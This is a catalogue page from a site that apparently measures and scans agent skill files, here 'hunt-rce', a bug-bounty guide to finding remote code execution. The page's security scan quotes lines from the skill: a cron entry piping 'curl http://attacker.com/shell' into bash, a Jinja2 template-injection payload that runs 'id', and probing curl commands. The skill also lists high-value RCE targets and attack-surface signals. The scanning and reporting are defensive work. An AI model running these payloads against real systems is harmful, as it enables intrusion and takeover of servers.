Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/adriannoes/awesome-agentic-ainpx agentmods add skills/adriannoes/awesome-agentic-ai/hunt-rceWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/adriannoes/awesome-agentic-ai/hunt-rce)<a href="https://agentmods.dev/skills/adriannoes/awesome-agentic-ai/hunt-rce"><img src="https://agentmods.dev/badge/skills/adriannoes/awesome-agentic-ai/hunt-rce/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/adriannoes/awesome-agentic-ai/hunt-rce"><img src="https://agentmods.dev/badge/skills/adriannoes/awesome-agentic-ai/hunt-rce.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00030 | $0.05351 |
| Opus 5 | $0.00015 | $0.02676 |
| Sonnet 5 | $0.00006 | $0.01070 |
| Haiku 4.5 | $0.00003 | $0.00535 |
Grade D, and why
hunt-rce scanned grade D with 4 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Sends data to an external URLmediumData exfiltration
A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.
- Confirm with `curl -s http://target:8080/uppercase -H "Content-Type: text/plain" --data-binary "test"` → returns `TEST` Downloads and executes remote codehighSupply chain
curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.
* * * * * root curl http://attacker.com/shell | bash Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -sI http://target/ | grep -i "Server:" Runs shell commandslowCapability
Expected in a hook, worth knowing in a rule or an instructions file.
- **`hunt-ssti`** — Template engines that hit `eval()`/`exec()`/`os.system()` are RCE hiding behind a render call. Chain primitive: Jinja2 `{{config.__class__.__init__.__globals__['os'].popen('id').read()}}` reflected in How it starts
The opening of the file, as written. The whole thing — 407 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Crown Jewel Targets
RCE vulnerabilities command the highest payouts in bug bounty programs because they grant attackers direct execution control over target infrastructure. The highest-value targets are:
Highest-paying asset types:
- Enterprise server products (GitHub Enterprise Server, self-hosted GitLab) — privilege escalation chains from low-privileged console roles to root SSH access consistently pay critical/high
- Supply chain / package registries — dependency confusion attacks against npm, PyPI, etc. hit critical severity across every major program
- Cloud-native infrastructure — exposed Kubernetes API servers, ingress controllers, and misconfiqured CI/CD pipelines
- Mobile app backends and OAuth flows — where server-side processing of attacker-controlled data meets execution contexts
- Admin/management consoles — template injection in configuration panels reaches root with a single payload
Why this class pays most:
- Blast radius is infrastructure-wide, not user-scoped
- Proof-of-concept is unambiguous — shell output is undeniable
- Fix requires architectural changes, not just a patch
- Programs cannot afford false negatives on RCE
Attack Surface Signals
URL Patterns
/management-console/*
/admin/settings/*
/api/v*/exec
/api/v*/run
/webhook/*
/_internal/*
/import?url=
/render?template=
/preview?format=
Response Headers / Tech Stack Signals
X-Powered-By: Express # Node.js — npm dependency surface
X-Powered-By: Phusion Passenger
Server: nginx (ingress-nginx) # Kubernetes ingress — path field injection
X-Runtime: Ruby # Rails ActiveStorage, RDoc, REXML attack surface
Content-Type: application/yaml # YAML parsers (SnakeYAML, Psych) — deserialization
X-GitHub-Enterprise-Version # GHAS — nomad template, collectd, syslog-ng injection
JavaScript / Frontend Signals
// Look for these patterns in JS bundles
fetch('/api/exec', {method:'POST', body: cmd})
eval(userInput)
new Function(userInput)
document.write(unsafeData)
window.location = userControlled // URL scheme bypass → JS execution
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 9d ago First seen · 407 lines · 30 tokens per session scan D df8823e92863
hunt-rce is a skill published in the GitHub repository adriannoes/awesome-agentic-ai (57 stars, last pushed 14d ago), licensed MIT. It adds 30 tokens to every session and 5,351 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it D with 4 findings (sends data to an external url, downloads and executes remote code, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
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